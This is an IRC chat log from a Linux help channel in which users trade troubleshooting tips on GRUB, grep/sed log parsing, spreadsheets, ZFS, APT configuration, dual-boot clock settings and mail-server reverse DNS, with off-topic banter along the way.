06:27 < jnewt> trying to sort out my grub menu.  i get a grub menu, but it's missing both my windows and ubuntu installation.   i did something weird, i made an used a 4gb fat32 partition on my disk to write and boot the iso, and my grub menu just shows try or install ubuntu.  linux installed to dev/sda7
06:28 < storge> jnewt: if you changed the bootable partition...
06:28 < storge> oh wait
06:28 < swine_> hi, would anyone here be so kind as to point me to some resources regarding small data center setups? some folks hired me to turn on their computers and i know nothing of industry practices when it comes to this sort of work
06:29 < storge> swine_: nice swindle
06:29 < swine_> @storge yeah, it is
06:29 < swine_> it's worth it to them though. they're desperate to get off of AWS
06:29 < jnewt> storge: no, i just wrote the iso and rebooted, it booted to that partition automagically instead of windows.   i did the install on a newly created 40gb partition that took the /dev/sda7 name
06:30 < swine_> lol, i'm using @ tags; i forgot that irc doesn't tag that way
06:30 < swine_> too much slack
06:30 < storge> swine_: i wouldn't listen to me, because my advice is to press the power buttons
06:30 < [R]> Short answer: yes it is a rip off. Buy a 400 dollar Acer. Install Linux on it. Do this 7 more times over the next 10 years. You have still saved money for what amounts to almost no difference and you can spend the extra money on a big piece of aluminum if you live aluminum that much.
06:30 < [R]> HAHA
06:31 < swine_> @storge: they need cabling and power and a maas setup and a perimeter firewall
06:31 < storge> and a UPS i would think. and air conditioning
06:32 < storge> perhaps a raised floor for an enterprise cooling system in the plenum
06:32 < swine_> i suggested a UPS, but their workloads are just map reduce loads
06:32 < storge> also coordinate with the building manager for a fire retardant strategy that doesn't destroy the hardware
06:32 < swine_> they have like 65 1U servers that they purchased off of ebay
06:32 < swine_> shhhhhhhhhhhhhhhhhhhhh
06:32 < swine_> actually i brought all this stuff up
06:32 < okee> storge>  Can't enter password at command line.
06:33 < swine_> but they don't care
06:33 < storge> so you'll need 1U stacks with patch panels. also you'll want to get an electrician to upgrade the main service panel
06:33 < swine_> they've already got that
06:33 < swine_> the stuff is racked and there's a ton of power in the room
06:33 < swine_> 3000 amps over 2 circuits
06:34 < storge> nice. be sure to charge your phone there whenever you get the chance.
06:35 < storge> 65 layers will need quite a damn proper UPS
06:35 < swine_> well, they aren't paying me to put in UPS... yet
06:35 < swine_> for now it's wiring the stuff up and getting MAAS running behind a firewall
06:36 < swine_> they're paying me a small fortune so i figure that i may as well be professional about it within the defined parameters
06:36 < storge> someone here knows, it's a bit over my head. i do recommend asking in ##electronics
06:36 < storge> they eat this stuff up
06:36 < swine_> thanks, storge
06:38 < storge> someone here knows, may just be off masturbating to robot chicken
06:47 < jim> storge, come on, could you lighten up with the sexual metaphors
06:48 < swine_> is robot chicken good masturbation material?
06:48 < pingfloyd> why don't you troll a little more obviously
06:50 < storge> i'm sorry, i've been watching robot chicken for hours, and well...
06:50 < storge> it was in poor taste. i apologize
06:51 < jim> thanks, accepted
06:54 < storge> cool swine_ looks like those peeps have helpful dialogue
06:56 < swine_> storge, yeah, thank you for pointing me there
06:56 < storge> no problem, i had no clue
07:15 < jnewt> need some help fixing grub, can't find my situation anywhere.  how do i add an entry to boot /dev/sda7 which is my ubuntu installation?  i can only boot to windows by dropping into the command line and then typing exit
07:18 < iflema> jnewt: where did the original entry go and where are you typing exit?
07:19 < jnewt> the only entries i have are to try ubuntu, to install ubuntu, something for mfgs or oems, and one final entry that i can't remember.   i hit whatever key drops you into the command line (c?) and then type exit
07:20 < iflema> sounds odd... grub-mkconfig
07:20 < iflema> a.k.a. update-grub
07:21  * iflema looking forward to slackware
07:21 < iflema> :D
07:23 < jnewt> iflema, where should i type that?  from the live disk partition?   i tried os-prober and update-grub after it finds the two oses, it gives me an error about the canonical path of /cow
07:23 < iflema> jnewt: join #ubuntu
07:37 < okee> It is getting so I will have to take this up in the morning.
07:40 < jnewt> iflema: already on there, you know how to fix this?
07:41 < glix>  Hey, I needed some help with the locate command. I want it to also look into my external hard disk. I modified the updatedb.conf file and removed the /run /media directories but it still doesn't index my hard disk.
07:41 < glix> I also pass the --debug-pruning option to update db
07:44 < iflema> jnewt: no
07:45 < Abhijit> hi
07:45 < iflema> glix: i think there is some assosiated command you use to do that first
07:46 < Abhijit> how to list all 'value's from hash {'mykey': value} where this hash is present at multiple lines randomely in a log file?
07:46 < iflema> glix: i think you have to update the database and then look into it...
07:46 < pingfloyd> jnewt: give what error exactly?
07:50 < iflema> glix: i assume the first time it can take a while? never used it.
07:50 < glix> iflema: Yeah, I did use the updatedb command.
07:50 < glix> There's also a updatedb.conf file (see man updatedb.conf)
07:50 < iflema> no
07:51 < iflema> and why remove media
07:51 < iflema> and what run
07:51 < iflema> oh from the config
07:51 < iflema> right
07:59 < kurahaupo> Abhijit: is that json?
08:04 < Sitri> It's not JSON.  It is valid JS, but could also be Python.  (JSON keys must be double-quoted)
08:05 < Sitri> Abhijit: Does `fgrep hash logfile` not work?
08:08 < Abhijit> kurahaupo, no
08:08 < Abhijit> Sitri, i want to list only the values. all values. the stringt is in format {'mykey': value}
08:08 < Abhijit> kurahaupo, Sitri its python log file.
08:15 < Sitri> Abhijit: Something like: fgrep hash | egrep -o '{.*}'
08:15 < Sitri> Should work
08:15 < Abhijit> Sitri, what is the word hash here?
08:15 < Sitri> <Abhijit> how to list all 'value's from hash {'mykey': value} where this hash is present at multiple lines randomely in a log file?
08:16 < Sitri> "hash" proceeded the dictionary in your example log line
08:16 < Abhijit> :-)
08:16 < Abhijit> there is no 'hash' string before dictionary. its just dictionary.
08:16 < Sitri> Okay, so just the grep -o will be fine presumably.
08:17 < Abhijit> Sitri, replacing string hash with actual name of the key list all dicts, but i want to list only the value part of the dict. not whole d ict.
08:17 < Sitri> Where "mykey" is known?
08:18 < Abhijit> yes.
08:18 < Abhijit> known and same in all dicts.
08:18 < Sitri> Is the value always something simple like a string or int?
08:18 < Abhijit> alphanum.
08:18 < Sitri> So a string.
08:18 < Abhijit> yes
08:19 < Abhijit> in single quotes.
08:19 < Sitri> Ah good
08:22 < Sitri> fgrep mykey | egrep -o '{.*}' | sed "s/.*'mykey':\s*'\([a-zA-Z0-9]*\)'.*/\1/g"
08:24 < Abhijit> Sitri, nope. print all lines of files as it is.
08:25 < Sitri> Can you paste some actual lines of this?
08:25 < Sitri> pastebin*
08:26 < Abhijit> DEBUG:root:{'myKey': 'AlphaNum1234'}
08:27 < Sitri> $ (fgrep myKey | egrep -o '{.*}' | sed "s/.*'myKey':\s*'\([a-zA-Z0-9]*\)'.*/\1/g") <<<"DEBUG:root:{'myKey': 'AlphaNum1234'}"
08:27 < Sitri> AlphaNum1234
08:27 < Sitri> Works for me just fine
08:28 < Sitri> Though I did change the case
08:28 < Abhijit> Sitri, https://paste.ubuntu.com/p/MR5hPj93y8/
08:29 < Sitri> Right, so you initially gave the wrong case, so use the one I just used with the updated case.
08:29 < Abhijit> ok
08:30 < Sitri> Since both grep and sed are case-sensitive
08:32 < Abhijit> Sitri, what is happening is, your code is correct, it does print only the valuse, but it print all other lines also. i do not want to print all other lines. only these valuse.
08:32 < Sitri> Uhh
08:32 < Sitri> Can you show me how you're calling it?
08:33 < Abhijit> fgrep myKey | egrep -o '{.*}' | sed "s/.*'myKey':\s*'\([a-zA-Z0-9]*\)'.*/\1/g" myfile_1234.log
08:34 < Sitri> fgrep myKey myfile_1234.log | egrep -o '{.*}' | sed "s/.*'myKey':\s*'\([a-zA-Z0-9]*\)'.*/\1/g"
08:34 < Abhijit> :-D
08:34 < Abhijit> Sitri, That works! Thanks! :-D
08:59 < iamnotarobot> hello
08:59 < iamnotarobot> is there any decent spreadsheet software for linux?
08:59 < iamnotarobot> LO/OF scrolling is broken to the point of uselessness.
09:00 < jim> iamnotarobot, ther's gnumeric, and there;s one that comes with libreoffice
09:01 < iamnotarobot> Well, yeah the LO one is broken
09:01 < iamnotarobot> i tried to open a simple csv with gnumeric and it was all squashed
09:01 < iamnotarobot> no way to jump to the end of content
09:02 < iamnotarobot> no way to resize multiple rows at once
09:02 < iamnotarobot> in LO/OF you can't move columns around
09:02 < iamnotarobot> is this the year of Linux on Desktop or what?
09:02 < iamnotarobot> ;)
09:05 < sauvin> How is the LO sheet "broken"?
09:05 < jim> iamnotarobot, those sound like pretty specific features, you nay or may not have to ask for them
09:06 < sauvin> Moving columns and rows around in LO has never been a problem for me.
09:06 < searedvandal> wps office got a spreadsheet thingie
09:08 < searedvandal> calligra as well if I'm not mistaken
09:08 < sauvin> It does.
09:09 < searedvandal> so there's at least a few options for spreadsheet software on linux
09:10 < iamnotarobot> I will try calligra
09:10 < iamnotarobot> tahnks
09:10 < sauvin> None of them are Excel - it's the one! thing MS did right, in my opinion - but I've never been stymied by any of the FOSS alternatives.
09:11 < sauvin> As I recall, Calligra is an LO fork but has more active development and maintenance.
09:11 < searedvandal> if you're looking for support for ms office documents, my experience is that wps office has the best support. at least when it comes to word documents.
09:11 < Dagmar> bleh.  I just use Google Docs for that stuff
09:11 < iamnotarobot> Do you know if Calligra or WPS has smooth scrolling?
09:11 < iamnotarobot> the LO Calc scroll jumping is annoying as fuck
09:11 < sauvin> Mind the language.
09:12 < iamnotarobot> I can't even resize columns that are wider than my window
09:12 < iamnotarobot> f*ck is beter?
09:12 < iamnotarobot> better*
09:14 < Dagmar> Out of curiousity, why is smooth scrolling a priority?
09:14 < kajika> Is shrinking a partition a thing with ext4? I can't find good documentation about that, there is no moving data inside teh partition?
09:15 < Dagmar> You can do it but it has to be done _offline_
09:15 < iamnotarobot> it is not exactly smooth scrolling so much as "not autolocking scroll to cells"
09:15 < searedvandal> smooth scrolling? there isn't a box to tick in wps office at least, but haven't had any issues with jumping when scrolling myself.
09:15 < iamnotarobot> without that, you can't read a cell that overflows the screen
09:15 < iamnotarobot> you can't even resize it
09:15 < Dagmar> If you have one cell with so much information in it that it fills the screen, you have failed at spreadsheets
09:16 < iamnotarobot> searedvandal: Can you scroll halfway over a cell?
09:16 < iamnotarobot> in LO the scroll jumps to auto align with the start cell boundaries
09:17 < Dagmar> See, the thing is, you're not really supposed to write long and winding passages in a spreadsheet.
09:17 < iamnotarobot> See, the thing is, I am editing some CSV.
09:18 < iamnotarobot> And See, if the content demands it, it is BS for the software to decide on it.
09:18 < Dagmar> Ah... Use pretty much *any* programming language then
09:18 < iamnotarobot> See, it is production description.
09:18 < iamnotarobot> ;)
09:18 < iamnotarobot> WAT?
09:18 < iamnotarobot> I want to read stuff, tick columns, and actually work with a spreadsheet not code
09:18 < iamnotarobot> wtf.
09:19 < iflema> CSV
09:19 < Dagmar> Yeah but a filter that wrangles some of that to result in less horrifying cell overflows would eliminate the problem you have
09:19 < searedvandal> by default it scrolls by cells
09:19 < Dagmar> CSV is trivial to parse in almost every language, provided you use an actual library for it
09:19 < searedvandal> I'll see if I can find a setting that changes that
09:19 < iamnotarobot> Dagmar: What?
09:20 < iamnotarobot> How can I encode column with in CSV?
09:20 < Dagmar> Your _input_ is causing you grief, yes?
09:20 < iamnotarobot> I don't want, or need, linebreaks or anything.
09:20 < iamnotarobot> My content is prefect.
09:20 < iamnotarobot> It is just that LO is UI won't allow me to read or resize the columns properly
09:20 < iamnotarobot> I did found that you can write click and use the context menu to manually resize the column, but poor as hell UX.
09:21 < iamnotarobot> This whole idea of "you're holding it wrong" is bullshit
09:21 < iamnotarobot> Don't tell me to make my data fit the program, the point of the program is to work on MY data.
09:21 < iamnotarobot> not the other way around
09:22 < iamnotarobot> The Linux community really needs to get out of this whack mindset and start considering that, the objective of software is to let user do things
09:22 < Dagmar> Yeah but, it sounds like you've a clear enough idea of what you're looking for you shoudln't need to be doing this with your own personal eyeballs
09:22 < Dagmar> I'm used to going through much larger data sets, tho
09:22 < iamnotarobot> it is a product catalog, I need to go and research about each one, write their price, and check some boxes.
09:22 < iamnotarobot> Do you really want me to write code for that!?
09:22 < iamnotarobot> -_-
09:23 < Dagmar> I probably already would have
09:23 < iamnotarobot> wat!?
09:23 < iamnotarobot> Fair enough
09:23 < iamnotarobot> Lemme write a program cause librecalc is broken. brb.
09:23 < Dagmar> Yeah I know my solutions to things sometimes tend to be alarmingly complex, but it gets s**t done
09:23 < wat> what
09:23 < wat> why did i get pinged
09:23 < bartmon> false positive, go back to sleep
09:24 < iflema> lol
09:24 < Dagmar> iamnotarobot: Yeah when I say much larger data sets, I mean things that would cause spreadsheet software to just crash the machine
09:25 < Dagmar> Although I did run into one netsec guy who though he was just going to casually import 30 days worth of DNS logs into Excel
09:25 < Dagmar> Over wireless.
09:25 < iamnotarobot> Dagmar: See, for large dataset, I totally understand, in fact, more than few times when working with "large" CSV files I have found int overflows and shit
09:25 < iamnotarobot> So I get your point
09:25 < iamnotarobot> but right now, I need a spreadsheet software and rather not boot to OSx or Windows just for this
09:25 < iamnotarobot> See, that is the problem.
09:25 < iamnotarobot> See, telling me to write a program is not the right solution.
09:25 < Dagmar> Just suggesting
09:25 < iamnotarobot> See wat am I saying? :P
09:26 < iamnotarobot> g'day m8
09:26 < Dagmar> OOo will let you arbitrarily reassign column widths via the menus
09:26 < iamnotarobot> Dagmar: Appreciate it. :)
09:26 < m8> hi!
09:26 < jim> hi
09:27 < iamnotarobot> wat kind of nickname is dat?
09:27 < iamnotarobot> m8 wat kind of nickname is datasmurf?
09:27 < iamnotarobot> dat*
09:27 < Dagmar> A nickname for someone who wants to be pinged when someone says something jaw-droppingly thick
09:28 < iflema> que
09:28 < iamnotarobot> Still better than _systemd_is_evil
09:29 < searedvandal> at least iamnotarobot
09:32 < searedvandal> iamnotarobot, I'm scrolling around in LO Calc now and scrolling seems just fine on my system
09:33 < line6> searedvandal: yeah but is it smooth...
09:33 < iamnotarobot> searedvandal: Can you scroll "half way" across a cell?
09:33 < iamnotarobot> or does it jump?
09:35 < searedvandal> scrolling with mousewheel goes 3 cells down. if I expand the height of a row, and scroll by dragging the scroll bar, I can scroll over that thing however it pleases me
09:37 < searedvandal> horizontal scrolling seems to jump to the start of every column
09:37 < sauvin> That kind of thing never troubled me, honestly.
09:37 < sauvin> I can get at my stuff more than easily enough, I'm happy.
09:38 < iamnotarobot> sauvin: OCD is a real thing.
09:38 < sauvin> I know. It's a curse to people afflicted with it.
09:38 < searedvandal> I rarely scroll horizontal so haven't noticed that until now
09:39 < iamnotarobot> It is a "Disorder" in the real sense of it
09:39 < iamnotarobot> lol
09:39 < searedvandal> up and down seems as smooth as any other application on every OS I've tried
09:42 < bartmon> iamnotarobot, in Calc: select the columns with overflowing data, right click and use 'Optimal width'
09:56 < cloudbud> how to find out the open file descriptors of a parent and child process recusrviely?
10:08 < cloudbud> hi
10:09 < one_roOt> hi
10:10 < one_roOt> hi
10:10 < wat> why
10:10 < wat> ianmalcolm seriously?
10:10 < wat> iamnotarobot ***
10:10 < kartikay> Hi guys! I have a question about binwalk. I am trying to do binwalk --extract file.bin but there is no file extracted
10:11 < kartikay> Even though it found 2 file signatures
10:14 < one_roOt> what
10:15 < k_sze[work]> When you tell zfs to scrub, is it possible to make it scrub only one of the vdevs? e.g. if my vdevs are all configured as raidz2, then each vdev works like a RAID6, and logically, I only care about checksum consistency of the blocks within the vdev.
10:18 < peetaur2> k_sze[work]: what's the point of doing them one at a time?
10:19 < k_sze[work]> peetaur2: if you suspect there's a problem in one particular vdev.
10:19 < k_sze[work]> i.e. S.M.A.R.T. monitoring warns you about one particular disk in one particular vdev.
10:20 < k_sze[work]> s/i.e./e.g./
10:20 < peetaur2> why not just scrub everything every month? (that's what I do)
10:20 < k_sze[work]> peetaur2: we do that, too.
10:21 < peetaur2> I would just run a smart long test
10:22 < peetaur2> and if you trusted ZFS and that the rest of the disks have enough redundancy that you can sacrifice some data on that one, you could run a repair (reallocate) script like mine here https://github.com/petermaloney/misc/blob/master/disk/diskRepair9.py
10:32 < locrian9> I think these are the font paths I have setup (/usr/share/fonts) (~/.local/share/fonts), however /var/log/Xorg.0.log is showing, "(WW) The directory /usr/share/fonts/Type1 does not exist".  How is Xorg told to look for this directory?
10:51 < eviladmin> locrian9: just ignore it, it is one of the hardcoded paths it has
10:52 < eviladmin> locrian9: and don't crosspost...
10:56 < LissajousPattern> cool
11:04 < santaclauze> Computer telling me my /var volume is almsot full. it seems that the /var/lib is the directory doing this. But I am not sure why. its 8gb even though I have very little on the computer
11:07 < revel> Why split up /var into a seperate partition on a desktop? .-.
11:09 < znh> santaclauze, maybe apt-get cache stuff?
11:10 < locrian9> Found that Xorg has the path '/usr/share/fonts/Type1' somewhere in it's configuration as one of the directories as a 'default path'.  This is explained in the 'xorg.conf' man page.
11:11 < Triffid_Hunter> santaclauze: have a poke around with du -csh *, once you find the dir that's full of stuff consider moving it somewhere else and symlinking
11:13 < searedvandal> locrian9, the default font paths are defined in configure.ac in the xorg-server source files
11:13 < searedvandal> as a part of having some sane defaults
11:14 < locrian9> searedvandal: Nice.
11:15 < searedvandal> if the warning is bothering you, there is the option of not using the default paths, as explained in man xorg.conf
11:22 < jim> revel, why split /var? if it gets full, then it would also file the / filesystem
11:22 < peetaur2> revel: it's still simple on btrfs so some do that
11:22 < revel> Sure, but what is the risk of that on a desktop machine?
11:22 < peetaur2> but also if / gets full while /var is not yet full, / gets full :)
11:23 < revel> It's not like you're living on 2GB or have a high-activity web server on a desktop.
11:24 < jim> peetaur2, so then there's another reason besides /var that / might get full
11:25 < peetaur2> I mean if they're separate, then the free space on /var can't be used to prevent / from filling....so I find monitoring works the best (plus separating user data... /opt, /home, some /var/lib/)
11:25 < peetaur2> and /tmp
11:26 < peetaur2> users can use the entire system in a few hours before you notice ...but cronjobs, updates, etc. can't use it all up suddenly, so monitoring is easy
11:28 < revel> If it's your desktop machine, then you'll have a good reason to keep an eye on that though.
11:31 < searedvandal> I would assume it's most likely package cache that fills up /var on a regular desktop machine?
11:49 < greenit> hi, has anyone tried to use the wacom bamboo ink with linux? i don't find very much info about this stylus with linux on google...
11:55 < searedvandal> greenit, maybe the linux wacom project https://linuxwacom.github.io/
11:59 < maryo> I have 3 services listening on different ports (8081,8082,8083) in machine (server01.justdial.com). I access these services like this (for example, http://server01.justdial.com:8081 and so on). Now the problem I see here is, we have many ports blocked as part of the Public Network and we only have access to Port 443. Is there a way to use nginx to configure reverse proxy and access all of these services? Like this -> https://dpaste.de/5BGN/raw
12:01 < Dagmar> Yep
12:02 < Dagmar> Since it can be done with Apache I don't know any reason why nginx wouldn't support it
12:05 < pingfloyd> which is better? nginx or apache?
12:06 < djph> "it depends"
12:08 < choice> Strange, umatrix says stallman.org tries to set cookies from google.com
12:11 < pingfloyd> wtf is umatrix?
12:11 < peetaur2> pingfloyd: apache has sane config syntax and lots of high quality documentation.... nginx has lower RAM footprint and for certain workloads is significantly faster
12:12 < peetaur2> so as with most things, it depends on your goal
12:12 < pingfloyd> isn't apache more robust too?
12:12 < chris_99> Hi, i'm just wondering if anyone knows an alternative for pssh, that works with IPv6?
12:12 < epicmetal> I've got APT::AutoRemove::{Recommends,Suggests}Important=false but aptitude still won't remove automatically installed packages (e.g. lxpanel) when I remove the explicitly installed one (e.g. lxde-core). What am I doing wrong?
12:13 < choice> pingfloyd: A content filter plugin for browsers.
12:13 < epicmetal> lxde-core depends on lxpanel, and that's the only thing that depends on it
12:13 < epicmetal> and lxpanel is marked "A" (automatic)
12:14 < epicmetal> lxde-common recommends lxpanel and lxsession suggests lxpanel, but this shouldn't matter given my above apt.conf setting, right?
12:14 < lessthan0> I finally figured out how to fix the time problems with dual booting windows
12:14 < epicmetal> Why does APT torture me
12:15 < lessthan0> I set local on and ntp off
12:15 < lessthan0> windows syncs to nist.gov
12:16 < jim> heya blues
12:16 < BluesKaj> 'Morning folks
12:16 < BluesKaj> Hi jim
12:16 < lessthan0> you could say that linux is now read only to the local hardware clock
12:16 < lessthan0> and stop using UTC in linux
12:17 < choice> Anybody here using umatrix?
12:17 < lessthan0> this was a problem for like 5 years I never knew how to fix it but systemd actually made it super easy
12:18 < jim> what'sau matrix?
12:18 < peetaur2> lessthan0: noooooo that's the opposite solution to the correct one
12:18 < lessthan0> too bad they don't do it this way by default. we don't need two different standards
12:18 < pingfloyd> ^^
12:18 < lessthan0> I read windows does not fully support UTC
12:18 < pingfloyd> lessthan0: you can set it via registry
12:19 < peetaur2> lessthan0: windows is the only OS that idiotically uses local time... configure windows to use UTC; don't break proper UNIX-like systems
12:19 < lessthan0> what could possibly go wrong in linux
12:19 < pingfloyd> but you've got the right idea that only one OS should sync with ntp
12:19 < lessthan0> oh
12:19 < pingfloyd> it should be linux that does
12:19 < lessthan0> hmmm
12:19 < lessthan0> I could change it back
12:19 < peetaur2> lessthan0: every windows I have ever touched since 2000 or so has been set to UTC without issues
12:19 < pingfloyd> they say it causes issues, but it never does
12:19 < lessthan0> but then every time I install windows again I need to change the windows registry
12:20 < pingfloyd> if anything it causes less issues than the other way around
12:20 < lessthan0> I can script deploy on linux
12:20 < lessthan0> what would you choose
12:20 < lessthan0> maybe
12:20 < peetaur2> using localtime is silly..the hwclock only stores time, not timezone....it has no way to look at the timestamp and actually know what time it is; but if it's no offset and without daylight savings, it is always unambiguous...only user interfaces need to translate anything
12:20 < lessthan0> are you saying that UTC is better because it is standardized across the globe?
12:21 < pingfloyd> there's that too
12:21 < peetaur2> not just that, but it makes no sense for a time stored in the clock to be ambiguous... there are overlaps and gaps that are errors without also having the time zone stored
12:21 < lessthan0> so better if I have cron jobs in multiple time zones on multiple servers?
12:21 < lessthan0> easier to deploy scripts without editing them?
12:21 < heftig> peetaur2: UTC still has the problem of leap seconds
12:22 < peetaur2> have you ever had it on winxp where you boot up...then it does the daylight adjustment automatically, then it crashes, then boots up and does it a 2nd time (so you're 1 hour ahead), then sets it back again? like wtf
12:22 < lessthan0> haha
12:22 < lessthan0> winxp hmmmm
12:22 < peetaur2> heftig: GMT has the problem of leap seconds... UTC is the solution to leap seconds
12:22 < lessthan0> interesting
12:22 < peetaur2> and the rest of the problems are not in the zone used, but how you do it...if you jump to time, you fail....if you speed up/slow down the clock to adjust leap seconds, then it is prper
12:22 < heftig> peetaur2: no, TAI has no leap seconds
12:22 < heftig> UTC has them
12:23 < pingfloyd> it's a timey wimey thing
12:23 < lupine> UTC mostly solves british imperialism
12:25 < luke-jr> peetaur2: both jumping and slowing time are wrong
12:25 < lessthan0> I'm gonna do it like you said
12:25 < luke-jr> just accept that sometimes a minute has 61 seconds
12:25 < lessthan0> gotta reboot
12:26 < peetaur2> lessthan0: yeah slowing time has to be done at the same time for the entire universe for it to be "right" ..but if your goal is just to match the rest most of the time, it seems just fine...
12:26 < peetaur2> ^ luke-jr
12:26 < peetaur2> luke-jr: was your computer designed for those cases where the minute has 61 seconds? :D
12:26 < lessthan0> I do like syncing to an atomic clock over tcp ip
12:26 < heftig> i prefer jumping for leap seconds; slowing time is problematic when you depend on your clockrate to be right
12:26 < pingfloyd> my computer is occasionally 65-bit
12:26 < lessthan0> a luxury of the modern age
12:27 < heftig> (it's not a problem if the every system that is synchronized uses slowing, as google does)
12:27 < lessthan0> if there is one electron in the universe then your clocks are all wrong anyway
12:27 < peetaur2> talking about jumping vs slowing/speeding up, I mean to solve software bugs and crashes related to that stuff. So when you sync (whether for leap seconds or just usual drift), you don't skip over or repeat passing over time...you just speed up or slow down your clock to match, and then things make sense (even though they are still imprecise).
12:28 < lessthan0> in windows you just hard sync
12:28 < peetaur2> lessthan0: I think there's more than one electron in the universe...and all clocks are always wrong given things like relativity and lack of precision (and lack of effort)
12:28 < lessthan0> its not that fancy
12:29 < lessthan0> yes general relativity is my point
12:29 < lessthan0> one electron theory hopes to explain why general relativity works
12:29 < lessthan0> it is built on it
12:30 < pingfloyd> distance affects time
12:30 < lessthan0> heisenberg uncertainty principle fits with one electron theory nicely
12:31 < pingfloyd> when you look at stars, you're looking back in time
12:31 < lessthan0> to be more correct when you look at anything you are looking back in time
12:31  * lessthan0 drops the mic
12:32 < j0seph> lessthan0: woah, my body is in the body
12:32 < j0seph> which means my body has transcended its physical form
12:32 < j0seph> my body is in the past**
12:32 < Pentode> somethings transcended alright
12:33  * Pentode points to j0sephs head
12:33 < Pentode> ;p
12:33 < j0seph> Pentode: i am floating!?
12:33 < j0seph> nice
12:33 < lessthan0> your perception is not reality
12:33 < lessthan0> fight me
12:33 < lessthan0> lol
12:33 < peetaur2> it's one version of one subset of reality
12:33 < lessthan0> fair enough
12:34 < BluesKaj> reality is for those who can't handle drugs :-)
12:34 < lessthan0> any one here a fan of rene des carte?
12:34 < peetaur2> the computer simulation you are running in has data that says you think therefore you believe you think, but you do not ... Descartes was wrong
12:34 < j0seph> lessthan0: only familiar with his quote of "i think therefore i am"
12:35 < lessthan0> he was a fan of the matrix movie before it came out
12:35 < peetaur2> j0seph: that is the one I refer to
12:35 < pingfloyd> passing of time is an illusion of our brain
12:36 < lessthan0> des carte was all like "not sure if in the matrix or just really paranoid hmmmm"
12:36 < LissajousPattern> pingfloyd, pass it already
12:36 < lessthan0> and then he was like well at least my MIND is not in the matrix haha! take that!
12:37 < Oddity> well done, descartes
12:38 < j0seph> who would win? descartes or an entire IRC channel
12:38  * lessthan0 rofl
12:38 < jhodrien> I think Descartes would lose the will to live in a debate with an IRC channel.
12:39 < pingfloyd> maybe des cartes is really rooted the most in the matrix
12:39 < pingfloyd> after all, doesn't he accept the matrix more than anyone with a statement like that?
12:39 < j0seph> jhodrien: i wouldn't blame him; i'm practically clutching at straws here
12:39 < lessthan0> des carte was saying that you can not prove that your corporeal entity exists
12:40 < lessthan0> but you can not make the assertion that you do not exist if you can think that you do not exist
12:40 < lessthan0> since who would be thinking that?
12:40 < lessthan0> if you don't exist
12:40 < peetaur2> what if you don't think...what if you are just a recording playing back
12:40 < pingfloyd> then why don't we experience other people's consciousness?
12:40 < lessthan0> the paradox proves the mind as concrete and undeniable but that is all that can possibly be proven through the use of a paradox
12:41 < peetaur2> pingfloyd: why should we?
12:41 < jhodrien> I think therefore I am, but not necessarily that I was.
12:42 < lessthan0> I would argue that we do experience other peoples consciousness all the time
12:42 < lessthan0> and not indirectly but directly
12:42 < lessthan0> as them
12:42 < pingfloyd> you've switched bodies a lot?
12:42 < lessthan0> and when we do that we forget our other identities
12:42 < peetaur2> if you switched bodies, would you know? or would you only have access to their memories?
12:42 < lessthan0> not really
12:43 < BluesKaj> hogwashh
12:43 < jhodrien> Hard to say you experience other's conciousness when you'll find it hard to show they're conscious.
12:43 < lessthan0> it is just bhudism
12:43 < peetaur2> jhodrien: speculating isn't hrad :)
12:43 < pingfloyd> maybe everyone else in the world is a zombie
12:43 < jhodrien> speculating is how we survive.
12:43 < pingfloyd> they just happen to talk
12:43 < jhodrien> Again, you don't know that they talk.  Your senses aren't to be trusted.
12:44 < epicmetal> I've got /etc/apt/apt.conf.d/99norecommends which contains APT::Get::InstallRecommends "false"; but APT still wants to install Recommends... what's going on with this
12:44 < pingfloyd> maybe the crazy people see more of what is really there
12:44 < lessthan0> https://en.wikipedia.org/wiki/Maya_(religion)
12:44 < epicmetal> I feel like APT is gaslighting me hard today
12:45 < lessthan0> the theory that individual identity is an illusion resulting from forgetting your original form
12:45 < peetaur2> epicmetal: some random site says it's with a hyphen in there
12:45 < lessthan0> and ascension is remembering your true form to unite with all
12:46 < lessthan0> going into the light
12:46 < lessthan0> this is shared in kabalah also
12:46 < epicmetal> peetaur2: fixed it but the behaviour is the same still
12:46 < pingfloyd> the light of the mothership?
12:47 < peetaur2> epicmetal: also try  APT::Install-Suggests "false";
12:47 < epicmetal> I've got that too
12:47 < lessthan0> the light of creation
12:48 < peetaur2> epicmetal: and actually this page says these without the ::Get in there https://ubuntuforums.org/showthread.php?t=2347360
12:48 < lessthan0> the idea that we are pieces of something universal that break away and get projected down into an egotistical existence that dictates our own suffering
12:48 < epicmetal> peetaur2: thank you
12:49 < epicmetal> peetaur2: I was led astray https://askubuntu.com/questions/179060/how-to-not-install-recommended-and-suggested-packages
12:49 < lessthan0> an illusion of reality
12:49 < lessthan0> and mortality
12:49 < lessthan0> and unnecessary suffering
12:54 < g105b> I'm having trouble getting my device to connect to an open WiFi network. I need to use wpa_supplicant.conf due to software requirements, but defining my network in there doesn't connect to the router. It works with a WPA secured network fine though so it must be bad config. Here's my config file: https://paste.ubuntu.com/p/wd76hVmWJt/
13:01 < hexoroid> can anybody tell me is reverse for mail.mydomain.com needed or c82-214-109-212.loc.akton.net would be fine... i just dont want junk email..
13:02 < hexoroid> i was just wondering if i need to make reverse dns mail.mydomain.com or should i leave it as c82-214-109-212.loc.akton.net (which is static).
13:09 < jim> hexoroid, it should be a fixed address... if there's not reverse dns, they might suspect it of spamming (especially if it's an open relay)
13:11 < hexoroid> jim c82-214-109-212.loc.akton.net is static ip i was just wondering would it be better to make it mail.mydomain.com as reverse ptr
13:12 < Triffid_Hunter> hexoroid: makes no difference for recieving spam, but can make a significant difference when sending to other hosts as not having reverse set up can trigger their spam detection
13:13 < Triffid_Hunter> hexoroid: some mail receivers will outright reject you if your ehlo doesn't match reverse dns
13:13 < jim> so it should match mail.your.domain
13:13 < lessthan0> set UTC in windows registry successful and sync to atomic clock in windows working. reboot working.
13:13 < lessthan0> linux rtc working
13:14 < hexoroid> 82.214.109.212 reverses to c82-214-109-212.loc.akton.net so i should get it to mail.mydomain.com to be all good
13:14 < jim> irc client working!
13:15 < jim> can you get that changed?
13:15 < debkad> Hello, Someone ask me about using 'AnyCast m4 plus', he want to cast his desktop to a TV in arch linux, I'm asking here as I don't konw about that device
13:15 < hexoroid> thank you guys i was just wondering if it mattered to stay as c82-214-109-212.loc.akton.net or to make it mail.mydomain.com reversed. So i will for your suggestion mail.mydomain.com
13:15 < hexoroid> jim  ann all thank you for the help \
13:16 < jim> welcome
13:16 < djph> hexoroid: if you can change it, that'd be best.  But if you don't own 82.214.109.0/24 (or a larger netblock that includes it), getting the rDNS changed may be difficult
